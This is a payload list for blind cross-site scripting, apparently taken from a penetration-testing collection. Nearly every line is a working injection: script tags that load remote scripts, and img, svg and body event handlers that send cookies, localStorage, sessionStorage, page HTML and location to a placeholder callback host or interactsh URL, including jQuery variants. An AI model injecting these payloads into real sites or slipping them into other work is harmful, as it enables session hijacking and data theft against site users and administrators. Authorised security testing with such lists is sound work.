# Blind XSS Payloads
# Payloads for blind XSS testing (executes in admin panels, email clients)
# Replace YOUR_CALLBACK_URL with your actual callback URL

# Script src with callback
<script src=https://YOUR_CALLBACK_URL/steal.js></script>
<script src=http://YOUR_CALLBACK_URL/xss.js></script>

# Fetch with cookie exfiltration
<img src=x onerror="fetch('https://YOUR_CALLBACK_URL/?c='+document.cookie)">
<img src=x onerror="new Image().src='https://YOUR_CALLBACK_URL/?c='+document.cookie">
<svg onload="fetch('https://YOUR_CALLBACK_URL/?c='+document.cookie)">
<body onload="new Image().src='https://YOUR_CALLBACK_URL/?c='+document.cookie">

# Generic callback (for Burp Collaborator/Interactsh)
<script src=https://[interactsh-url]/xss.js></script>
<img src=x onerror="fetch('https://[interactsh-url]/?c='+document.cookie)">
<svg onload=fetch('https://[interactsh-url]/?'+document.cookie)>

# LocalStorage exfiltration
<img src=x onerror="fetch('https://YOUR_CALLBACK_URL/?ls='+JSON.stringify(localStorage))">

# SessionStorage exfiltration
<img src=x onerror="fetch('https://YOUR_CALLBACK_URL/?ss='+JSON.stringify(sessionStorage))">

# Full page HTML capture
<img src=x onerror="fetch('https://YOUR_CALLBACK_URL/?html='+encodeURIComponent(document.documentElement.innerHTML))">

# Document location
<img src=x onerror="fetch('https://YOUR_CALLBACK_URL/?loc='+encodeURIComponent(document.location))">

# Unique identifiers for tracking
<script>new Image().src='https://YOUR_CALLBACK_URL/?id=UNIQUE_ID&c='+document.cookie</script>
<svg onload="fetch('https://YOUR_CALLBACK_URL/?tag=contact_form&c='+document.cookie)">

# Combined exfiltration
<script>
fetch('https://YOUR_CALLBACK_URL/?c='+document.cookie+'&ls='+JSON.stringify(localStorage));
</script>

# jQuery based (if jQuery is present)
<script>$.get('https://YOUR_CALLBACK_URL/?c='+document.cookie)</script>
<script>$.post('https://YOUR_CALLBACK_URL/',{cookie:document.cookie})</script>
